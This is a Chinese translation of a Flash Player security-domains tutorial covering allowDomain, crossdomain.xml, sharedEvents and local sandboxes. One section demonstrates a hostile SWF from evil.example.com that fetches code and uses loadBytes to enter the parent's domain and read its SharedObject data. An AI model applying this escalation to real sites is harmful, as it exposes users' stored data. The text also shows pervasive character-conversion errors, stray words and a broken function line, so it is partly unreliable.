[ActionScript 3.0] AS3 深刻理解Flash的安全沙箱Security Domains

簡介

若是你尚未與複雜的的安全域(security domain)和應用程序域(application domain)問題打過交道,那麼你真是個幸運的傢伙。當你在加載外部內容(而後他們開始播放)的時候,默認的設置工做的很好,你甚至不知道他們的存在。 可是某些時候你可能須要控制默認設置之外的更多行爲和功能,這樣你就會遇到前面所說的問題。你也許會困擾於Security.allowDomain和crossdomain.xml文件的區別,又或者你想要深究關於安全性的最佳實踐。若是是這樣,那麼這篇文章就是你所須要的了。
如下的教程將會討論什麼是安全域和應用程序域,以及他們在Flash Player中應該如何使用。
php

目錄

  • Introduction 簡介
  • Sandboxing 沙箱
  • Security Domains 安全域
  • Trust 信任受權
  • Non-executable Trust 不可執行文件的信任機制
  • Non-executable Content Without Trust 非受信的不可執行文件
  • SWF Communication Without Trust 在非受信的SWF之間通信
  • Merging Security Domains 合併安全域
  • Stage Owner and Access 場景的擁有者和獲取權限
  • Local Security Domains 本地安全域

Sandboxing 安全沙箱

沙箱是用於區分不一樣的數據和程序執行。沙箱對於安全性尤爲重要。若是沒有恰當的信任受權,兩個位於不一樣沙箱內的內容應該沒有任何交互。Flash Player的安全模型使用稱爲安全域的沙箱來分離內容。
雖然安全性是沙箱的主要用途,但這並非惟一使用沙箱的緣由。另一種可能的情形是使用沙箱來避免命名衝突,這種區分代碼的沙箱方式在Flash Player中被稱爲應用域html

Security Domains 安全域

安全域在Flash中是頂級的沙箱。安全域連接到內容的來源域名,或者是被加載的內容(如SWF文件)的來源域名。好比在senocular.com下的SWF文件包含一個連接到senocular.com的安全域,而在example.com下的SWF文件則有一個連接到example.com的安全域。不一樣的安全域使得SWF文件在Flash Player中播放時運行在自身的沙箱下。跨域

Flash Player中的安全域沙箱
Flash Player中的安全域沙箱安全

注意:在本教程的例子中,你將看到我用統一頂級域名下的不一樣子域來表明不一樣域名,這是由於在Flash中,不一樣子域和不一樣頂級域同樣,都被視爲不一樣的域。示例中代碼也被簡化過了,在Flash編輯環境下用時間線代碼也能夠進行測試。服務器

不可執行的內容(非SWF文件),好比圖片或者文本文件,也被劃分到安全域中,一樣與他們所處的域名相關聯。實際上,正是域名決定了這些內容是否可以被某個SWF文件加載。更多這方面的內容將在 不可執行文件的信任機制 章節中進行討論。
回到SWF上來,安全域劃分了數據和可執行代碼。若是兩個SWF處於不一樣的安全域下,某個SWF中的數據(好比某個變量)是不能夠被其餘SWF獲取的,固然,代碼也不能執行。若是嘗試獲取其餘域中SWF文件的數據將會產生一個安全錯誤。
下面的代碼展現了一個SWF文件企圖加載另一個SWF,並獲取其文檔類的實例(也就是主時間線)。網絡

http://same.example.com/parent.swf:併發

var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener(Event.INIT, init);

var url:String = "http://diff.example.com/child.swf";
loader.load(new URLRequest(url)); 

function init(event:Event):void {
    trace(loader.content);
    // SecurityError: Error #2121: Security sandbox violation:
    // Loader.content: http://same.example.com/parent.swf
    // cannot access http://diff.example.com/child.swf.
    // This may be worked around by calling Security.allowDomain.
}

任意想要獲取被加載的SWF文件的內容的嘗試,甚至包括trace Loader的content屬性。都會引發安全錯誤,由於他們二者處於不一樣的安全域內。
安全域的劃分也適用於Flash Player所使用的原生ActionScript類。Flash Player 在每一個安全域中都建立了獨立的原生類。舉例來講,一個安全域內的XML類與另一個安全域內的XML類是不相同的,改變其中一個XML的靜態屬性 XML.prettyIndent 並不會影響到另外一個安全域。
下面這個SWF文件加載了兩個子SWF,一個來自自身的域,另外一個從另外的域加載。咱們改變了主文件的prettyIndent屬性,來看看這兩個子文件的屬性輸出。app

http://same.example.com/parent.swf:dom

trace(XML.prettyIndent); // 2
XML.prettyIndent = 5;
trace(XML.prettyIndent); // 5

// Same domain:
var sameLoader:Loader = new Loader();
var sameURL:String = "http://same.example.com/child.swf";
sameLoader.load(new URLRequest(sameURL)); 

// Different domain:
var diffLoader:Loader = new Loader();
var diffURL:String = "http://diff.example.com/child.swf";
diffLoader.load(new URLRequest(diffURL));

http://same.example.com/child.swf:socket

trace("same: " + XML.prettyIndent); // same: 5

http://diff.example.com/child.swf:

trace("diff: " + XML.prettyIndent); // diff: 2

能夠看到,第二個子文件的屬性並無被改變。這就說明不一樣的安全域具備不一樣的原生ActionScript類定義。

Trust 信任受權

儘管安全域只容許相同域下的通信,可是咱們能夠經過信任受權來讓處於兩個不一樣安全域內的SWF文件進行通信。經過受權,某個安全域內的文件能夠獲取另外一個域內文件的的數據,或者調用其方法,就像是處於相同的安全域下同樣。
在ActionScript中,SWF的信任受權是經過 Security.allowDomain(或者相似的 Security.allowInsecureDomain)來設置的。在被信任的安全域內的代碼能夠調用這個方法來受權信任給另外一個或者一組在其餘安全域內的SWF文件。這種信任是單向的,發起allowDomain的SWF文件不能去訪問被受權信任的文件,除非對方也作了信任受權。

創建信任關係的安全域

在下面的例子中,一個子SWF文件調用allowDomain來容許父SWF的訪問:

http://home.example.com/parent.swf:

var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener(Event.INIT, init);

var url:String = "http://away.example.com/child.swf";
loader.load(new URLRequest(url));

function init(event:Event):void {
    // (子文件執行了allowDomain)
    trace(loader.content); // [object DocumentClass]
}

http://away.example.com/child.swf:

Security.allowDomain("home.example.com");

若是沒有授信,就像前文說到的,仍是會引起安全錯誤。可是一旦被加載的子SWF調用了allowDomain之後,父SWF文件就能夠自由的訪問子SWF文件中的內容。要注意的是在這個例子中,因爲父SWF文件沒有受權away.example.com的信任,因此子SWF仍然沒法訪問loader的content屬性。
信任是很是重要的安全概念,絕對不能掉以輕心。咱們常常看見使用通配符的受權:

// 當心哦!
Security.allowDomain("*");

這麼作將容許全部SWF文件,不只僅只是你加載的或是加載你的,能夠經過ActionScript來訪問你文件中的數據。就算你沒有在文件中包含敏感數據,可是若是你在文件中提供了某些方法去獲取這種數據,那也有可能被其餘SWF調用。使用allowDomain來受權的信任就像給了其餘SWF文件相等的權利:你能作什麼,我就能作什麼。在接下來的 合併安全域 章節中你將看到這意味着什麼。
若是你只是想讓SWF之間可以通訊,除了信任受權的方法之外咱們還可使用sharedEvents對象來實現,咱們將在 在非受信的SWF之間通信 章節中討論。

Non-executable Trust 不可執行文件的信任機制

因爲不可執行文件(也就是非SWF文件)不能調用allowDomain代碼,因此這類文件的信任機制在Flash Player中有不同的處理方法。這就是跨域(cross-domain)策略文件派上用場的地方。
跨域策略文件是一個放在網站的根域名下的命名爲crossdomain.xml的XML文件。和allowDomain相似,定義了一組能夠被Flash Player加載的安全網站域名。一個簡單的跨域策略文件的例子以下:

http://example.com/crossdomain.xml:

<?xml version="1.0"?>
<cross-domain-policy>
    <site-control permitted-cross-domain-policies="by-content-type"/>
    <allow-access-from domain="*.example.com"/>
    <allow-access-from domain="www.example-partner.com"/>
<cross-domain-policy>

你能夠從 Cross-domain policy file specification (adobe.com)得到詳細的文件格式信息。
和allowDomain不一樣的是,跨域策略文件只提供了包含全部文件(一般是一個域下的全部文件)的用法。上面的例子表示容許來自example.com的任意子域或www.example-partner.com的SWF文件加載example.com下的文件。
因爲存在allowDomain機制,跨域策略文件一般不用於受權SWF文件的訪問。跨域加載SWF的時候不會請求跨域策略文件。只有當要把一個跨域的SWF合併到當前的安全域的時候,才須要提供跨域策略文件。這個主題將在 合併安全域 中進行討論。
無論是標準的位於域名根目錄下的跨域策略文件仍是用 Security.loadPolicyfile 指定的跨域策略文件,都只有在須要的時候纔會被加載:當內容被加載的同時,跨域策略文件也被一塊兒加載進來。
加載完成後,Flash Player 分析跨越策略文件並判斷該域是否爲信任SWF所處的域。若是答案是確定的話,文件正常加載,就像處於和SWF文件相同的域同樣。反之則有可能有兩種狀況:

  • 文件不被加載
  • 文件加載成功,可是其數據不能被SWF文件直接訪問

若是文件自己就是數據(文本文件,XML文件,二進制數據等等),那麼文件就不會被加載。

須要跨域策略文件來加載僅包含數據的文件
non_exec_for_load.png

若是文件除了數據之外還有其他用途(圖像文件,聲音文件等),那麼文件仍是可以被加載到用戶可見(可聽)的環境中。好比說圖像文件,就算沒有跨域策略文件,仍是能夠在Loader對象中顯示給用戶看。可是相似BitmapData.draw等直接訪問圖像數據的方法就不能運行。

須要跨域策略文件來獲取其餘文件的數據的引用。
須要跨域策略文件來獲取其餘文件的數據的引用

對此可能你們都有點疑惑。實際上用戶是能夠訪問這些數據的,可是SWF文件不行。Flash Player是在保護用戶的數據不被潛藏有危險代碼的SWF文件獲取。用戶不須要關心跨域策略文件也能正常的瀏覽網頁內容。 但這並非說跨域策略文件能夠被忽視,相似於下面這種過度縱容的跨域策略文件有不少潛在的危險:

<?xml version="1.0"?>
<cross-domain-policy>
    <!-- <strong>當心哦!</strong> -->
    <allow-access-from domain="*"/>
<cross-domain-policy>

警告:使用通配符(*)容許全部域的訪問等同於:用戶可能能夠接觸到的全部處於該域下的數據都有可能被任意SWF文件獲取

客戶端的Flash Player運行在當前用戶的認證下,這就表示用戶的數據可能就是Flash Player的數據。並且Flash Player的數據可能被任意在裏面運行的SWF獲取。Flash Player默認只容許相同域名下的SWF的安全數據,並限制跨域SWF的運行。若是沒有這層限制,SWF能夠獲取任意當前用戶能夠獲取的數據。
舉個例子:某用戶使用他的認證來登陸網頁的郵件客戶端收取郵件,而後用戶打開了一個包含有惡意程序的SWF的頁面。若是沒有跨域限制的話,這個SWF能夠用他現有的認證偷偷地加載用戶的郵件頁面。用戶能夠訪問的內網也不例外,只要用戶能去的地方,SWF就能去。幸虧Flash Player阻止了這種獲取數據的行爲,除非該域經過跨域策略文件給予SWF受權。
記住一個原則,永遠不要對包含敏感數據的域開發跨域受權,即便須要上面的信息來進行用戶認證。把SWF能夠訪問的數據劃分到不一樣的域或者子域下面。

Domain Description Policy file
login.example.com Hosts user data None
feed.example.com Hosts public data Includes:<allow-access-from domain="*" />

這將使得敏感數據不可被訪問,可是仍然能夠對其餘域下的SWF文件公開你的其餘數據。

Non-executable Content Without Trust 非受信的不可執行文件

若是沒有跨域策略文件的信任受權,Flash Player 禁止非SWF文件的獲取。特別是像文本那樣的僅包含數據的文件,甚至不會加載。若是你須要從一個沒有跨域受權的域中獲取數據,仍是有一個變通的辦法。
跨域策略文件用於保護數據,特別是保護用戶數據,或者說是用戶可以接觸到的數據。由於Flash Player是運行在客戶端的,可是服務器端的代碼沒有這種限制。服務器徹底是另一臺機器,因此用戶請求和服務器請求是徹底無關的。
因爲服務器沒有用戶的限制,服務器端的代碼能夠從任意公開的網絡服務獲取數據。也就是說包含SWF的服務器能夠用於訪問外部域的數據,而後做爲相同域的數據返回給Flash Player。因爲處在相同的域下,Flash Player就不須要有跨域策略文件了。

下面的代碼演示了一個服務器端的php腳本加載外部數據的例子:

http://home.example.com/loader.swf:

var urlLoader:URLLoader = new URLLoader();

var urlVariables:URLVariables = new URLVariables();
// 服務器端獲取外部數據的地址
urlVariables.externalURL = "http://away.example.com/content.txt";

// 服務器端的腳本獲取外部數據並傳給SWF
var serverPage:String = "http://home.example.com/read.php";

var request:URLRequest = new URLRequest(serverPage);
request.data = urlVariables;
urlLoader.load(request);

這種解決方案也有必定的問題:
首先你必須可以在服務器端部署代碼,某些小項目也許根本不須要服務器環境。
另外一個可能更重要的緣由是這種方式加倍了網絡流量。首先必須從外部域加載到你本身的域下,而後才被下載到你的SWF客戶端。同時這也加劇了你的服務器的負載。使用跨域策略文件的話就不會有這種問題。
這能夠做爲一種解決方案,但最好仍是能用跨域策略文件來解決。

SWF Communication Without Trust 在非受信的SWF之間通信

在某些狀況下有可能要與其餘來源不那麼可靠的域中的SWF通信,你並不但願徹底信任該域,放開所有受權。對此LoaderInfo對象的sharedEvents屬性提供了另外一種機制。sharedEvents對象是惟一的一個能夠在不一樣安全域中發送共享事件的對象。加載者和被加載者均可以經過這個對象來向對方發送事件。
經過sharedEvents對象發送的事件在兩個域中都是徹底受信的,這就使得在兩個安全域中傳遞的任意數據都無需考慮安全問題。

警告:小心!經過sharedEvents對象傳遞了錯誤的數據仍然有可能把你的SWF中的數據暴露出去。好比你的事件包含了一個複雜對象,特別是顯示列表上的對象,那麼你的整個SWF都將暴露。

因此經過sharedEvents發送的事件應該限制爲包含簡單數據的事件類型,避免一些被包含後門的SWF程序加以利用。若是你要傳遞複雜的事件,那要在傳遞以前先作一下清理。
使用sharedEvents進行通信的兩個SWF須要確保發送和接收的是一致的事件類型。父SWF能夠發出一種事件並監聽另外一種。子SWF能夠監聽父SWF發出的事件併發出父SWF中正在監聽的事件。這些事件的名字能夠是隨意的。
下面的例子演示了在不一樣安全域中的父子SWF使用sharedEvents來通信簡單的文本信息的狀況。父SWF發出「fromParent」事件,而子SWF發出「fromChild」事件。

http://safe.example.com/parent.swf:

var loader:Loader = new Loader();
var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents;
shared.addEventListener("fromChild", fromChild);

var url:String = "http://untrusted.example.com/child.swf";
loader.load(new URLRequest(url));

function fromChild(event:TextEvent):void {
    trace(event.text); // Good day

    var replyMessage:TextEvent = new TextEvent("fromParent");
    replyMessage.text = "Same to you";
    shared.dispatchEvent(replyMessage);
}

http://untrusted.example.com/child.swf:

var shared:EventDispatcher = loaderInfo.sharedEvents;
shared.addEventListener("fromParent", fromParent);

var firstMessage:TextEvent = new TextEvent("fromChild");
firstMessage.text = "Good Day";
shared.dispatchEvent(firstMessage);

function fromParent(event:TextEvent):void {
    trace(event.text); // Same to you
}

任意的事件類均可以像這樣用於傳遞信息,也包括自定義事件。再次強調,要小心不要把包含引用的數據(特別是顯示列表上的對象)隨着事件一塊兒發送出去。這種狀況的例子在 場景的擁有者和獲取權限 章節中能夠找到。

Merging Security Domains 合併安全域

若是兩個域之間創建了信任關係,一個SWF就能把另一個SWF加到本身的安全域內,就像是在相同的域下同樣。
在這種狀況下信任受權的處理有少量不一樣。
首先,包含父SWF的域不須要指定什麼,只要執行加載另外一個SWF到當前的安全域就表示徹底信任這個SWF。
其次,由於子SWF是當即被加載到父SWF的安全域中,並無機會經過allowDomain進行信任受權聲明。當子SWF能夠執行allowDomain聲明的時候,已經被加載並實例化到另外的域中。因此這種狀況下,跨域策略文件將派上用場。實際上這也是跨域策略文件惟一適用於對SWF進行受權的狀況。

須要跨域策略文件把跨域的SWF加載到相同的安全域
merge_security_domains.png

要加載某個SWF到本身的安全域內,須要給Loader.load方法指定一個 LoaderContext 對象。LoaderContext對象的securityDomain屬性設置爲當前的安全域( SecurityDomain.currentDomain )。經過這樣的加載方式,父SWF授信給子SWF,而子SWF的授信則須要經過跨域策略文件。

http://host.example.com/parent.swf:

trace(new LocalConnection().domain); // host.example.com

var loader:Loader = new Loader();

// 建立一個LoaderContext對象把子SWF加載到當前的安全域
var context:LoaderContext = new LoaderContext(true);
context.securityDomain = SecurityDomain.currentDomain;

var url:String = "http://trusting.example.com/child.swf";
loader.load(new URLRequest(url), context);

http://trusting.example.com/crossdomain.xml:

<?xml version="1.0"?>
<cross-domain-policy>
    <allow-access-from domain="host.example.com"/>
<cross-domain-policy>

http://trusting.example.com/child.swf:

trace(new LocalConnection().domain); // host.example.com

咱們能夠經過 LocalConnection 對象的domain屬性來檢查每一個SWF所處的安全域。雖然子SWF原先所處的域是trusting.example.com,可是因爲它被加載到父SWF所處的域中,因此子SWF最終所處的安全域是host.example.com。
用這個方式加載的SWF文件權力比用allowDomain受權的更加大。使用allowDomain受權,等同於說你能作什麼,我就能作什麼。而把SWF加載到同一個安全域,則等同於我能作任何事。在前一種狀況下,子SWF只能調用父SWF下的代碼,仍是受限於父SWF中的定義。可是經過加載到相同的安全域,這些子SWF就能夠在你的域下面作任意操做,這包括:

  • 獲取父SWF中的任意引用
  • 讀取主域中的全部文件
  • 讀取其餘授信給主域的全部域下的文件
  • 讀取主域下的共享對象
  • 獲取經過主域創建的共享鏈接通信
  • 獲取授信給主域的socket鏈接

因此在引入跨域SWF文件到你當前的安全域下的時候,你要確保這種權力不會被濫用。

使用包含安全域的LoaderContext對象的load方法不是可以引入跨域SWF到你的安全域的惟一方法。Loader類的另外一個方法loadBytes也能夠作到。和load不一樣的是,它不是用URL來加載外部內容,而是直接加載以 ByteArray 的形式加載對象。
因爲ByteArray與域名之間沒有關聯,因此用loadBytes方法加載的對象將直接進入當前安全域內。由於你在加載包含這些字節對象以前每每都要通過某種信任受權,因此這一般是安全的。

http://host.example.com/parent.swf:

trace(new LocalConnection().domain); // host.example.com

var loader:Loader = new Loader();

var urlLoader:URLLoader = new URLLoader();
urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
urlLoader.addEventListener(Event.COMPLETE, bytesLoaded);

// cross-domain policy file required to load data
var url:String = "http://trusting.example.com/childbytes.swf";
urlLoader.load(new URLRequest(url));

function bytesLoaded(event:Event):void {
    loader.loadBytes(urlLoader.data);
}

http://trusting.example.com/crossdomain.xml:

<?xml version="1.0"?>
<cross-domain-policy>
    <allow-access-from domain="host.example.com"/>
<cross-domain-policy>

http://trusting.example.com/childbytes.swf:

trace(new LocalConnection().domain); // host.example.com

就和前面看到的例子同樣,經過檢查子SWF文件的LocalConnection.domain屬性,使用loadBytes方法加載的子SWF也顯示爲相同的安全域。

警告:loadBytes方法有個小小的安全問題:能夠把授信過的跨域SWF和加載到當前安全域下的SWF二者間的不一樣扯平。咱們知道雖然這二者都是被信任的,可是就像上面的列表中提到的,後者比前者的權力更大。「你能作什麼,我就能作什麼」與「我能作任何事」之間的差異,結果能夠變成沒有差異。

這是由於授信過的跨域SWF文件能夠訪問父SWF的任何對象,包括父SWF對象的Loader實例,一旦擁有了對loadBytes方法的引用,這就意味着能夠把某些字節對象加載到當前的安全域。

下面的這個例子展現了這種可能性:

http://good.example.com/parent.swf:

// 受權 "你能作什麼,我就能作什麼"
Security.allowDomain("evil.example.com");

// 應當受保護的數據
var so:SharedObject = SharedObject.getLocal("foo", "/");
so.data.foo = "bar";
so.flush();

var loader:Loader = new Loader();
var url:String = "http://evil.example.com/child.swf";
loader.load(new URLRequest(url));

http://evil.example.com/child.swf:

var so:SharedObject = SharedObject.getLocal("foo", "/");
trace("trust only: " + so.data.foo); // trust only: undefined

var urlLoader:URLLoader = new URLLoader();
urlLoader.dataFormat = URLLoaderDataFormat.BINARY;
urlLoader.addEventListener(Event.COMPLETE, bytesLoaded);

var url:String = "http://evil.example.com/childbytes.swf";
urlLoader.load(new URLRequest(url));

function bytesLoadedEvent):void {
    // 威脅!loadBytes加載了SWF數據到父SWF的安全域
    loaderInfo.loader.loadBytes(urlLoader.data);
}

http://evil.example.com/childbytes.swf:

var so:SharedObject = SharedObject.getLocal("foo", "/");
trace("same domain: " + so.data.foo); // same domain: ba

未來版本的Flash Player可能會改變這種行爲,因此在程序中不要使用這種方法。咱們應該關注的是加載授信過的SWF文件會帶來的潛在威脅:暴露你的域下的全部數據。

Stage Owner and Access 場景的擁有者和獲取權限

當第一個SWF文件被加載到Flash Player中的時候,它被加到顯示列表的根上,也就是咱們所說的 stage 對象。這也是Flash Player本身的顯示對象的根。每一個SWF都有表明本身主文檔類或者主時間線的根(叫作 root )。第一個被建立的SWF實例的根被放置於場景上,其餘子SWF使用Loader對象的實例來加載。
場景的特別之處在於它自己就位於顯示列表上,全部處於顯示列表上的子SWF均可以取得它的引用,可是它只有一個擁有者:就是第一個被實例化的那個SWF。場景的擁有者決定了場景所鏈接的安全域。其餘的SWF想對場景進行特殊操做的行爲都必須得到場景全部者的信任受權。
你可能有注意到在過去的有些程序或者是組件中,被加載到不一樣的域(未授信)裏的時候報錯。這正是由於沒有取得對場景對象進行操做的受權。由於場景對象是能夠被引用的,可是諸如場景的addEventListener方法等卻不可用,因此這很容易引發誤解。
下面這個表格列出了場景對象限制非安全域對象訪問的成員。可能不是100%精確,主要用於參考。

addChild addChildAt removeChild
removeChildAt getChildIndex setChildIndex
getChildAt getObjectsUnderPoint swapChildren
swapChildrenAt numChildren tabChildren
mouseChildren width stageWidth
fullScreenWidth height stageHeight
fullScreenHeight quality align
scaleMode displayState fullScreenSourceRect
stageFocusRect showDefaultContextMenu colorCorrection
addEventListener dispatchEvent hasEventListener
willTrigger    

在下面的例子中看看場景是如何能夠被子SWF訪問,可是卻不能調用stage.addEventListener方法。

http://first.example.com/parent.swf:

var loader:Loader = new Loader();
addChild(loader);

var url:String = "http://second.example.com/child.swf";
loader.load(new URLRequest(url));

http://second.example.com/child.swf:

// Works
trace(stage); // [object Stage]

// Does not work
stage.addEventListener(MouseEvent.CLICK, stageClick);
// SecurityError: Error #2070: Security sandbox violation:
// caller http://second.example.com/child.swf cannot access
// Stage owned by http://first.example.com/parent.swf.

場景的這種全部者關係很是操蛋,由於咱們常常須要對場景對象監聽鼠標或者鍵盤事件,好比檢測鍵盤按下或者檢測鼠標在物體外部釋放點擊。在這種狀況下,單靠子SWF自身是沒辦法完成的。還好,場景擁有者的父SWF能夠經過sharedEvents傳遞場景事件而沒必要授信給子SWF。經過這種方式,能夠在保護主域的前提下配合完成這種工做。

警告:如下這個使用範例演示了sharedEvents是如何處理安全性問題的。一些鼠標事件的relatedObject屬性持有對時間線上的對象的引用。若是不通過清理,這些對象就會暴露給沒有通過授信的域。因此經過sharedEvents發送事件時,要把這些引用清除。好比MouseEvent,咱們能夠新建一個僅包含必須數據的MouseEvent對象。

下面的示例展現瞭如何經過sahredEvents發送場景事件。示例中僅僅轉發了MOUSE_OUT事件,固然也能夠擴展於其餘的事件類型。注意如何建立一個代理事件並保護父SWF中的對象。

http://stageowner.example.com/parent.swf:

var combination:String = "1-2-3-4-5"; // 隱私數據

var loader:Loader = new Loader();
var shared:EventDispatcher = loader.contentLoaderInfo.sharedEvents;

var url:String = "http://untrusted.example.com/child.swf";
loader.load(new URLRequest(url));

stage.addEventListener(MouseEvent.MOUSE_OUT, forwardMouseEvent);

function forwardMouseEvent(event:MouseEvent):void {
    // 威脅!這種作法暴露了relatedObject,也使得其餘數據被暴露
    //shared.dispatchEvent(event);

    // Safer: 建立一個清理過的代理事件來切斷relatedObject的引用
    var safeEvent:MouseEvent = new MouseEvent(event.type);
    safeEvent.altKey = event.altKey;
    safeEvent.buttonDown = event.buttonDown;
    safeEvent.ctrlKey = event.ctrlKey;
    safeEvent.delta = event.delta;
    safeEvent.localX = event.localX;
    safeEvent.localY = event.localY;
    safeEvent.shiftKey = event.shiftKey;

    shared.dispatchEvent(safeEvent);
}

http://untrusted.example.com/child.swf:

var shared:EventDispatcher;

// 若是場景事件不能引用,那就經過sharedEvents監聽
if (loaderInfo.parentAllowsChild){
    stage.addEventListener(MouseEvent.MOUSE_OUT, stageMouseOut);
}else{
    shared = loaderInfo.sharedEvents;
    shared.addEventListener(MouseEvent.MOUSE_OUT, stageMouseOut);
}

function stageMouseOut(event:MouseEvent):void {
    // -- stage mouse out actions here --

    // 若是sharedEvents傳遞了原始的鼠標事件,那麼父域中的數據就暴露了!
    //trace(Object(event.relatedObject).root.combination); // 1-2-3-4-5
}

幸虧有safeEvent這個MouseEvent的實例,本來的MouseEvent對象的relatedObject指向的引用被屏蔽了。實際上,全部經過sharedEvents對象發送的事件都應該用這種方式清理一遍。

Local Security Domains 本地安全域

在硬盤上運行的SWF文件一樣有本身的安全域。本地安全域有本身獨特的行爲,共分爲4種安全沙箱類型:local-with-file, local-with-network, local-trusted, and application for AIR(本文不詳細討論AIR)。再加上網絡上的SWF,一共有5種安全沙箱。在ActionScript中,你能夠用 Security.sandboxType 來得到當前的安全沙箱類型。

  • local-with-file (Security.LOCAL_WITH_FILE)—本地不受信任的文件,只能夠訪問本地數據,不能與網絡通訊。
  • local-with-network (Security.LOCAL_WITH_NETWORK)—本地不受信任的文件,只能夠訪問網絡,可是不能讀取本地數據。
  • local-trusted (Security.LOCAL_TRUSTED)—本地受信的文件,經過Flash Player設置管理器或者FlashPlayerTrust文件受權。能夠訪問本地和網絡。
  • application (Security.APPLICATION)—隨着AIR包而安裝,運行在AIR程序中。默認在這種沙箱類型下的文件能夠調用任意域下的文件(外部域可能不容許)。並且默認能從任意其餘域下加載數據。
  • remote (Security.REMOTE)—來自網絡的文件,遵循安全域的沙箱規則。

因爲有可能從用戶的硬盤上獲取敏感數據,因此本地文件在安全方面有着嚴格的規則。一旦有機會,惡意的SWF將能夠從電腦上讀取數據並上傳到網絡上的服務器。因此爲了防止這種狀況,本地的SWF只容許一種類型的通信,要麼就是本地,要麼就是網絡。並且,不一樣安全沙箱類型的SWF不能相互加載,避免能同時訪問網絡和訪問本地的狀況出現。
因爲咱們不能判斷本地文件的域名,因此判斷本地SWF文件的安全沙箱用的是另一種形式。只容許本地和只容許網絡這兩種狀況是經過SWF文件內的標識來區分的,全部的SWF在發佈的時候都帶有這種標識,當SWF在本地運行的時候,Flash Player就用它來檢測安全沙箱類型。
對於本地的信任文件,相同的問題是咱們沒有地方來保存跨域策略文件,因此咱們經過Flash Player的 設置管理器 裏的 全局安全設置面板 來設置。經過下圖中所示的下拉菜單把本地SWF的路徑添加到本地的安全文件列表裏。

settings_manager.png

另外一種方式是經過配置文件的方式。配置文件不像設置管理器那樣須要聯網來使用。要把SWF或者包含SWF的文件夾添加到信任位置的話只須要添加路徑到Flash Player的#Security\FlashPlayerTrust下的.cfg文件就能夠了。在Mac和Windows上,這個路徑以下:

  • Windows 95-XP:C:\Documents and Settings\[username]\Application Data\Macromedia\Flash Player\#Security\FlashPlayerTrust
  • Windows Vista-7:C:\Users\[username]\AppData\Roaming\Macromedia\Flash Player\#Security\FlashPlayerTrust
  • Mac OS X:/Users/[username]/Library/Preferences/Macromedia/Flash Player/#Security/FlashPlayerTrust

[username] 替換爲你的用戶名。

兩種方法都是把信任受權信息寫入你的硬盤(全局安全設置面板也同樣,保存在Flash Player的特定目錄下)。這些文件就像你本地的跨域策略文件同樣。當Flash Player讀取的時候,信任受權給SWF,並覆蓋SWF文件中關於本地訪問權限的標識,從而容許受信的SWF可以同時訪問本地和網絡。

本地安全域
local_sandboxes.png

關於本地信任機制還有一點須要注意的是即便是本地受信的文件,仍然不能把處於外部沙箱的內容加載入本地沙箱。
大多數Flash內容都是爲網絡建立的,因此一般不須要徹底理解本地的安全沙箱機制。可是開發和測試是一個例外。Flash編輯器在測試的時候就是把SWF放在一個本地受信的安全沙箱裏面。這有可能會形成與真正發佈的SWF狀況不一樣的結果,由於二者的安全沙箱不一樣。好比你測試的時候能夠從沒有授信的外部域讀取內容,而真正發佈到網站上的SWF卻沒法加載。因此當你測試的時候要注意,你所看到的結果和最終發佈的版本有可能不同。
你能夠到 Flash Player Developer Center (adobe.com)的 Security section查看更詳細的安全相關信息。

原文地址:http://www.senocular.com/flash/tutorials/contentdomains/
譯文轉自:http://kevincao.com/2010/11/security-domains/

相關文章
相關標籤/搜索